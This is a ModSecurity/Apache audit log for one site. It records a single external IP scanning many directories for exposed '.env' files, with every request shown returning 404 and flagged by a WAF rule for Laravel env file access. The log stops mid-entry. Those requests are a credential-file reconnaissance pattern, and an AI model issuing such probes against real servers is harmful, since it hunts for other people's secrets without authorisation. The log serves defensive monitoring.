[13/Sep/2026:05:35:58.016447 +0300] aqYMDWM7dE9KgIIOpQhdywAAAMc 34.175.231.24 51386 127.0.0.1 7081
--4443147b-B--
GET /lab/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--4443147b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4443147b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/lab/.env"] [unique_id "aqYMDWM7dE9KgIIOpQhdywAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266957898815 117702 (- - -)
Stopwatch2: 1789266957898815 117702; combined=4545, p1=304, p2=4180, p3=0, p4=0, p5=61, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4443147b-Z--
--667c792c-A--
[13/Sep/2026:05:35:59.909686 +0300] aqYMD2M7dE9KgIIOpQhdzAAAAMA 34.175.231.24 51400 127.0.0.1 7081
--667c792c-B--
GET /cronlab/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--667c792c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--667c792c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cronlab/.env"] [unique_id "aqYMD2M7dE9KgIIOpQhdzAAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266959783482 126259 (- - -)
Stopwatch2: 1789266959783482 126259; combined=4691, p1=351, p2=4259, p3=0, p4=0, p5=81, sr=157, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--667c792c-Z--
--d8aede7b-A--
[13/Sep/2026:05:36:01.085678 +0300] aqYMEEwu1RSkptiiNIXttwAAAIo 34.175.231.24 51420 127.0.0.1 7081
--d8aede7b-B--
GET /cron/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--d8aede7b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d8aede7b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cron/.env"] [unique_id "aqYMEEwu1RSkptiiNIXttwAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266960896744 188992 (- - -)
Stopwatch2: 1789266960896744 188992; combined=8114, p1=1608, p2=6421, p3=0, p4=0, p5=85, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d8aede7b-Z--
--49a1d979-A--
[13/Sep/2026:05:36:02.902465 +0300] aqYMEkwu1RSkptiiNIXtuAAAAJE 34.175.231.24 51436 127.0.0.1 7081
--49a1d979-B--
GET /en/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--49a1d979-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--49a1d979-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/en/.env"] [unique_id "aqYMEkwu1RSkptiiNIXtuAAAAJE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266962778666 123863 (- - -)
Stopwatch2: 1789266962778666 123863; combined=5097, p1=271, p2=4769, p3=0, p4=0, p5=57, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--49a1d979-Z--
--6c723702-A--
[13/Sep/2026:05:36:04.641019 +0300] aqYMFEwu1RSkptiiNIXtuQAAAI8 34.175.231.24 51444 127.0.0.1 7081
--6c723702-B--
GET /administrator/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--6c723702-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6c723702-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/administrator/.env"] [unique_id "aqYMFEwu1RSkptiiNIXtuQAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266964513188 127887 (- - -)
Stopwatch2: 1789266964513188 127887; combined=5915, p1=268, p2=5570, p3=0, p4=0, p5=76, sr=119, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c723702-Z--
--0ed9951c-A--
[13/Sep/2026:05:36:06.351515 +0300] aqYMFjTJ6xTvcJoem7f1jwAAAFE 34.175.231.24 34158 127.0.0.1 7081
--0ed9951c-B--
GET /psnlink/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--0ed9951c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0ed9951c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/psnlink/.env"] [unique_id "aqYMFjTJ6xTvcJoem7f1jwAAAFE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266966203242 148361 (- - -)
Stopwatch2: 1789266966203242 148361; combined=4288, p1=251, p2=3958, p3=0, p4=0, p5=79, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0ed9951c-Z--
--fcc18e15-A--
[13/Sep/2026:05:36:07.964897 +0300] aqYMF2M7dE9KgIIOpQhdzQAAAMg 34.175.231.24 34166 127.0.0.1 7081
--fcc18e15-B--
GET /exapi/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--fcc18e15-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--fcc18e15-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/exapi/.env"] [unique_id "aqYMF2M7dE9KgIIOpQhdzQAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266967844728 120235 (- - -)
Stopwatch2: 1789266967844728 120235; combined=4556, p1=243, p2=4246, p3=0, p4=0, p5=67, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fcc18e15-Z--
--d74e884d-A--
[13/Sep/2026:05:36:09.470899 +0300] aqYMGWM7dE9KgIIOpQhdzgAAAMw 34.175.231.24 34176 127.0.0.1 7081
--d74e884d-B--
GET /sitemaps/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--d74e884d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d74e884d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/sitemaps/.env"] [unique_id "aqYMGWM7dE9KgIIOpQhdzgAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266969348633 122321 (- - -)
Stopwatch2: 1789266969348633 122321; combined=6703, p1=363, p2=6284, p3=0, p4=0, p5=55, sr=173, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d74e884d-Z--
--5d99a165-A--
[13/Sep/2026:05:36:14.549354 +0300] aqYMHisVWymXUono-eRQtgAAAAU 34.175.231.24 34222 127.0.0.1 7081
--5d99a165-B--
GET /logs/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--5d99a165-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5d99a165-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/logs/.env"] [unique_id "aqYMHisVWymXUono-eRQtgAAAAU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266974435051 114386 (- - -)
Stopwatch2: 1789266974435051 114386; combined=5120, p1=295, p2=4756, p3=0, p4=0, p5=68, sr=142, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5d99a165-Z--
--26031d30-A--
[13/Sep/2026:05:36:15.841163 +0300] aqYMH2M7dE9KgIIOpQhd0gAAAMo 34.175.231.24 53330 127.0.0.1 7081
--26031d30-B--
GET /cache/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--26031d30-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--26031d30-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cache/.env"] [unique_id "aqYMH2M7dE9KgIIOpQhd0gAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266975726682 114538 (- - -)
Stopwatch2: 1789266975726682 114538; combined=4393, p1=245, p2=4084, p3=0, p4=0, p5=64, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--26031d30-Z--
--ab367600-A--
[13/Sep/2026:05:36:17.250997 +0300] aqYMISsVWymXUono-eRQtwAAAAQ 34.175.231.24 53334 127.0.0.1 7081
--ab367600-B--
GET /mailer/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--ab367600-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ab367600-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mailer/.env"] [unique_id "aqYMISsVWymXUono-eRQtwAAAAQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266977114261 136803 (- - -)
Stopwatch2: 1789266977114261 136803; combined=4654, p1=218, p2=4363, p3=0, p4=0, p5=73, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ab367600-Z--
--1eb90b6f-A--
[13/Sep/2026:05:36:19.087889 +0300] aqYMImM7dE9KgIIOpQhd0wAAANU 34.175.231.24 53344 127.0.0.1 7081
--1eb90b6f-B--
GET /mail/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--1eb90b6f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1eb90b6f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mail/.env"] [unique_id "aqYMImM7dE9KgIIOpQhd0wAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266978978740 109205 (- - -)
Stopwatch2: 1789266978978740 109205; combined=4181, p1=232, p2=3881, p3=0, p4=0, p5=67, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1eb90b6f-Z--
--2478b63d-A--
[13/Sep/2026:05:36:20.952077 +0300] aqYMJCsVWymXUono-eRQuAAAAA0 34.175.231.24 53368 127.0.0.1 7081
--2478b63d-B--
GET /email/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--2478b63d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2478b63d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/email/.env"] [unique_id "aqYMJCsVWymXUono-eRQuAAAAA0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266980835497 116636 (- - -)
Stopwatch2: 1789266980835497 116636; combined=5012, p1=330, p2=4626, p3=0, p4=0, p5=56, sr=144, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2478b63d-Z--
--df558c19-A--
[13/Sep/2026:05:36:22.427151 +0300] aqYMJmM7dE9KgIIOpQhd1QAAANY 34.175.231.24 53396 127.0.0.1 7081
--df558c19-B--
GET /smtp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--df558c19-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--df558c19-H--
